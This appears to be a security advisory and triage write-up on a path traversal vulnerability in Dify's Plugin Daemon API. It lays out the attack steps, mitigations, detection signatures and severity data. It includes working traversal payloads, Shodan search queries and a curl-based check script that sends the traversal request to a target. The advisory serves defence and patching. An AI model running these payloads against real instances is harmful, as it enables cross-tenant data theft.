Imagine every tenant in your AI apartment building shares one unlocked mailroom, and any stranger who signs up for a free PO box can read everyone's letters
CVE-2026-41948 is a relative path traversal (CWE-23) in Dify's Plugin Daemon internal REST API, affecting all versions through 1.14.1. When a user requests a plugin icon or manages plugin tasks, the Dify backend proxies the request to an internal Plugin Daemon service on port 5002. The filename query parameter in the GET endpoint (/console/api/workspaces/current/plugin/icon) and the identifier path segment in the POST endpoint (/console/api/workspaces/current/plugin/tasks/<task_id>/delete/<identifier>) are injected directly into the internal URL path without any sanitization. By supplying unencoded or URL-encoded dot-dot-slash sequences (e.g., ../../../debug/pprof), an attacker escapes the tenant-scoped asset directory and reaches arbitrary internal Plugin Daemon endpoints — including debug interfaces and other tenants' environments. On Dify Cloud, free self-registration means any attacker can create an account in seconds, making the PR:N CVSS classification operationally accurate. Affected versions span 0 through 1.14.1; the partial fix shipped in v1.14.2 (May 19, 2026) and the complete fix in v1.15.0 (June 25, 2026).
The vendor's CRITICAL / 9.4 rating is well-calibrated and, if anything, undersells the operational impact. The CVSS vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L accurately captures the unauthenticated, low-complexity, no-interaction attack profile. Zafran Labs' *DifyTap* research demonstrated that the path traversal is just one primitive in a four-CVE cluster that enables persistent cross-tenant wiretapping of all AI conversations, document exfiltration, and access to internal debug APIs. With tens of thousands of internet-facing Dify instances, 10 million+ Docker pulls, and enterprise customers like Volvo, Maersk, and Panasonic, the blast radius is substantial. The EPSS score at the 79th percentile reflects growing attacker interest, and a merged Nuclei template means automated scanning is already happening. This is a genuine CRITICAL that deserves immediate attention.
5 steps from start to impact.
Create free Dify account
cloud.dify.ai), the attacker creates a free account with no verification or approval gate. On self-hosted instances with open registration (the default), the same applies. This gives the attacker a valid session token and console API access. For self-hosted instances behind SSO, this step requires a legitimate org credential — a meaningful friction point.- Internet access to the Dify instance
- Registration endpoint is open (default on Cloud and many self-hosted deployments)
- Self-hosted instances behind SSO/SAML with closed registration block this step
- Internal-only Dify deployments require network access
Discover target tenant UUID
- Valid authenticated session from Step 1
- Target tenant has at least one publicly accessible application, or UUID is discoverable via API enumeration
- UUIDs are not sequential — pure brute-force is impractical
- Enterprises with private-only applications reduce UUID leakage
Craft path traversal via plugin icon endpoint (GET primitive)
/console/api/workspaces/current/plugin/icon?tenant_id=<VICTIM_UUID>&filename=../../../debug/pprof. The backend blindly concatenates the filename into the internal Plugin Daemon URL: http://<DAEMON>:5002/plugin/<TENANT_ID>/asset/../../../debug/pprof. The path resolves upward, escaping the asset directory and reaching arbitrary internal endpoints. No additional authentication is checked on the Plugin Daemon side. Nuclei template (v10.4.9, by DhiyaneshGeek) automates this exact check.- Valid session token
- Knowledge of at least one target tenant UUID
- Plugin Daemon service running (default in all Dify deployments)
- WAF rules blocking
../sequences in query parameters will catch naive payloads - URL-encoded variants (
%2E%2E%2F) may bypass basic WAF rules but are caught by decode-then-inspect WAFs
CVE-2026-41948 in v10.4.9; Zafran-published Snort signatures for GET and POST traversal patterns; WAF log analysis for ../ or %2E%2E in filename parameterExploit POST primitive for write operations
/console/api/workspaces/current/plugin/tasks/<TASK_ID>/delete/<IDENTIFIER> where IDENTIFIER contains URL-encoded traversal sequences (%2E%2E). This converts internally to http://<DAEMON>:5002/plugin/<TENANT_ID>/management/install/tasks/<TASK_ID>/delete/../../<target_path>. This primitive enables write-side operations against internal Plugin Daemon APIs, including management endpoints that can modify plugin configurations across tenants.- Valid session token
- Ability to URL-encode traversal sequences past input filters
- POST requests to management endpoints may trigger anomaly detection in API gateways
- Some reverse proxies normalize URL encoding before forwarding
Cross-tenant data exfiltration
pprof), cross-tenant plugin configurations, and daemon internals. Zafran named this combined attack chain DifyTap — a silent wiretap on enterprise AI workflows.- Successful traversal from Steps 3-4
- Target tenants actively using Dify applications with sensitive data
- Exfiltration to external trace endpoints may be blocked by egress filtering
- Debug endpoints may be disabled in hardened production deployments
docker pull langgenius/dify:1.15.0 and update your compose file.filename query parameter on /console/api/workspaces/current/plugin/icon and the path segments on /console/api/workspaces/current/plugin/tasks/*/delete/* for traversal sequences (../, ..\, %2E%2E, %2e%2e, ..%2F, ..%5C). Zafran published Snort signatures for both GET and POST primitives. This is a stopgap — deploy within 3 days per the noisgate mitigation SLA while scheduling the upgrade.PR from None to Low (requires org credential), which reduces the CVSS to ~8.6 and blocks opportunistic internet attackers. This does NOT protect against insider threats or compromised credentials. Deploy within 3 days./console/api/ endpoints. This adds a pre-authentication layer that the path traversal cannot bypass. Residual risk remains for authenticated insiders.- Rate limiting on the icon endpoint — the attack requires only a single request to exfiltrate data; rate limiting does not prevent exploitation, only slows enumeration of tenant UUIDs.
- Disabling the Plugin Daemon — the daemon is a core component required for Dify's plugin ecosystem to function; disabling it breaks plugin functionality entirely and is not a viable compensating control in production.
- IP allowlisting on Dify Cloud — you do not control Dify Cloud's infrastructure; this control only applies to self-hosted deployments. If you use Dify Cloud, you are dependent on LangGenius applying the patch.
- Content Security Policy headers — this is a server-side path traversal, not a client-side injection; CSP headers are irrelevant.
The supporting signals.
| In-the-Wild Status | No confirmed mass exploitation campaigns. Not on CISA KEV as of 2026-09-27. One source (CIRCL) listed KEV status as confirmed September 1, 2026, but this is not corroborated by CISA alerts — treat as unverified. The detailed *DifyTap* research from Zafran Labs provides a roadmap that significantly lowers the exploitation barrier. |
|---|---|
| Proof-of-Concept | Functional PoC exists. Zafran Labs' DifyTap writeup contains exact endpoint paths, payload construction, and exploitation methodology — effectively a walkthrough PoC. A Nuclei template by DhiyaneshGeek was merged into nuclei-templates v10.4.9 (September 15, 2026) enabling automated scanning. No standalone exploit repos found on GitHub or pocindex.io at time of assessment. |
| EPSS | 0.01892 (1.892%) — 79th percentile. This places it in the top quintile of all scored CVEs for 30-day exploitation probability, consistent with low-complexity network-accessible vulns with published research. |
| KEV Status | Not listed as of 2026-09-27. User-provided intel confirmed; CISA KEV catalog additions through September 18 do not include this CVE. |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L — 9.4 CRITICAL. Network-accessible, no privileges, no interaction, high confidentiality and integrity impact. The PR:N is operationally accurate for Dify Cloud (free self-registration). CVSS 4.0 score is 9.3. |
| Affected Versions | Dify 0 through 1.14.1 (all versions). Partial fix in v1.14.2 (May 19, 2026); complete fix in v1.15.0 (June 25, 2026). Docker images tagged ≤1.14.1 are vulnerable. |
| Scanning / Exposure | Zafran identified tens of thousands of internet-facing Dify instances. Dify has 10M+ Docker Hub pulls and 140K+ GitHub stars. Enterprise customers include Volvo, Maersk, Panasonic across 60+ industries. Shodan fingerprinting via http.title:"Dify" or http.favicon.hash will identify exposed instances. |
| Disclosure Timeline | Reported December 14, 2025 → Final report April 7, 2026 → Disclosed May 18, 2026 → Partial patch v1.14.2 May 19, 2026 → Full patch v1.15.0 June 25, 2026 → Nuclei template merged September 15, 2026 |
| Researcher / Org | Ido Shani and Gal Zaban of Zafran Labs. Part of the four-CVE *DifyTap* cluster (CVE-2026-41947 through CVE-2026-41950). Reported via HackerOne. |
| Related CVEs | Part of the DifyTap cluster: CVE-2026-41947 (CVSS 9.1, trace config hijack), CVE-2026-41949 (CVSS 7.5, file preview IDOR), CVE-2026-41950 (CVSS 6.5, file attachment IDOR), CVE-2024-5846 (CVSS 8.8, PDFium UAF triggered via preview endpoint). All four should be patched together. |
Sources.
Why this verdict
- Unauthenticated remote access with zero friction: Dify Cloud's free self-registration makes
PR:Noperationally real — any attacker on the internet can obtain a valid session in seconds. Self-hosted instances with open registration (the default) are equally exposed. This eliminates the single largest friction factor that typically downgrades web application CVEs. - Cross-tenant blast radius is fleet-scale data exposure: This is not a single-user or single-application bug. The path traversal breaks tenant isolation on a platform processing AI conversations, uploaded documents, and LLM responses for potentially thousands of organizations on a single instance. Zafran demonstrated persistent wiretapping of *all* conversations across tenants — this is mass data exfiltration, not a confined read.
- Low complexity with automation available: The attack requires only a GET request with
../sequences in a query parameter. The Nuclei template (v10.4.9) automates discovery and validation. The Zafran writeup provides a step-by-step exploitation guide. No memory corruption, no race conditions, no exotic prerequisites. - Role multiplier: Dify occupies a data-tier / AI orchestration role in enterprise deployments. (a) *Low-value role:* Dev sandbox for testing prompts — limited data exposure. (b) *Typical role:* Internal AI application builder serving business teams — moderate sensitive data (internal docs, customer queries). (c) *High-value role:* Production AI applications processing customer PII, financial data, healthcare queries, or legal documents; RAG systems indexing proprietary knowledge bases; customer-facing chatbots. In high-value deployments, the cross-tenant wiretap creates mass data egress equivalent to a production database breach. Dify's 10M+ Docker pulls and enterprise customer list (Volvo, Maersk, Panasonic) confirm ≥10% of the installed base occupies production data-processing roles. The blast radius in these deployments is tenant-scale to platform-scale. Verdict floor: CRITICAL.
- Large exposed attack surface: Zafran identified tens of thousands of internet-facing instances. Unlike niche enterprise tools behind VPNs, Dify is deliberately exposed to serve AI applications to end users. This is not a theoretical network-accessible vuln — the instances are already on the internet.
Why not higher?
CVSS 9.4 is already near the ceiling. The only factor preventing a 10.0 would be if the vulnerability enabled arbitrary code execution on the host OS — this bug is confined to the Dify application layer and Plugin Daemon APIs. It enables data exfiltration and configuration tampering but not direct RCE on the underlying infrastructure. The Scope is Unchanged (S:U), correctly reflecting that the blast radius stays within the Dify trust boundary.
Why not lower?
Downgrading would require either (a) the vulnerability being reachable only from an internal network — it is not, tens of thousands of instances are internet-facing — or (b) exploitation requiring high-privilege access — it does not, free registration eliminates this barrier — or (c) the impact being confined to the attacker's own tenant — it is not, the traversal breaks cross-tenant isolation. Every friction-reducing factor works in the attacker's favor here. The 79th-percentile EPSS and merged Nuclei template confirm this is within automated scanning range.
Crowdsourced verification payload.
Run this script on any machine with curl and network access to the target Dify instance. Pass the Dify base URL as the first argument: ./check_cve_2026_41948.sh https://your-dify-instance.example.com. No authentication or special privileges required — the script tests the unauthenticated traversal path.
#!/usr/bin/env bash
# CVE-2026-41948 Dify Plugin Daemon Path Traversal Check
# Tests whether the /console/api/workspaces/current/plugin/icon endpoint
# is vulnerable to path traversal via the filename parameter.
# Usage: ./check_cve_2026_41948.sh <DIFY_BASE_URL>
# Exit codes: 0 = VULNERABLE, 1 = PATCHED, 2 = UNKNOWN
set -euo pipefail
if [ $# -lt 1 ]; then
echo "Usage: $0 <DIFY_BASE_URL>"
echo "Example: $0 https://dify.example.com"
exit 2
fi
BASE_URL="${1%/}"
TEST_PATH="/console/api/workspaces/current/plugin/icon"
# Use a dummy tenant_id and traverse to debug/pprof
PAYLOAD="?tenant_id=00000000-0000-0000-0000-000000000000&filename=../../../debug/pprof"
FULL_URL="${BASE_URL}${TEST_PATH}${PAYLOAD}"
echo "[*] Testing CVE-2026-41948 against: ${BASE_URL}"
echo "[*] Request: GET ${TEST_PATH}${PAYLOAD}"
HTTP_CODE=$(curl -sk -o /tmp/cve_2026_41948_resp.txt -w '%{http_code}' \
--max-time 10 \
"${FULL_URL}" 2>/dev/null) || {
echo "[!] Connection failed. Verify the URL is reachable."
echo "UNKNOWN"
exit 2
}
RESP_BODY=$(cat /tmp/cve_2026_41948_resp.txt 2>/dev/null || echo "")
rm -f /tmp/cve_2026_41948_resp.txt
echo "[*] HTTP Response Code: ${HTTP_CODE}"
# Check for pprof indicators in response (Go runtime debug output)
if echo "${RESP_BODY}" | grep -qiE '(goroutine|heap|allocs|block|mutex|profile|pprof|cmdline|trace)'; then
echo "[!] VULNERABLE — path traversal reached internal debug/pprof endpoint."
echo "[!] Response contains Go pprof debug data."
echo "VULNERABLE"
exit 0
fi
# Check for other indicators of successful traversal
if [ "${HTTP_CODE}" = "200" ] && echo "${RESP_BODY}" | grep -qiE '(plugin|daemon|tenant|internal|debug)'; then
echo "[!] VULNERABLE — path traversal returned internal API data."
echo "VULNERABLE"
exit 0
fi
# Check for explicit path traversal rejection (patched behavior)
if echo "${RESP_BODY}" | grep -qiE '(path.traversal|invalid.path|forbidden|rejected|blocked)'; then
echo "[+] PATCHED — server rejected the path traversal attempt."
echo "PATCHED"
exit 1
fi
# 400/403/404 without traversal content likely means patched or not applicable
if [[ "${HTTP_CODE}" =~ ^(400|403|404|422)$ ]]; then
echo "[+] PATCHED — server returned ${HTTP_CODE} without internal data leakage."
echo "PATCHED"
exit 1
fi
# 401 means auth required before reaching the endpoint
if [ "${HTTP_CODE}" = "401" ]; then
echo "[?] Authentication required. Test with a valid session token:"
echo " curl -H 'Authorization: Bearer <TOKEN>' '${FULL_URL}'"
echo "UNKNOWN"
exit 2
fi
echo "[?] Inconclusive. HTTP ${HTTP_CODE}. Manual review recommended."
echo "UNKNOWN"
exit 2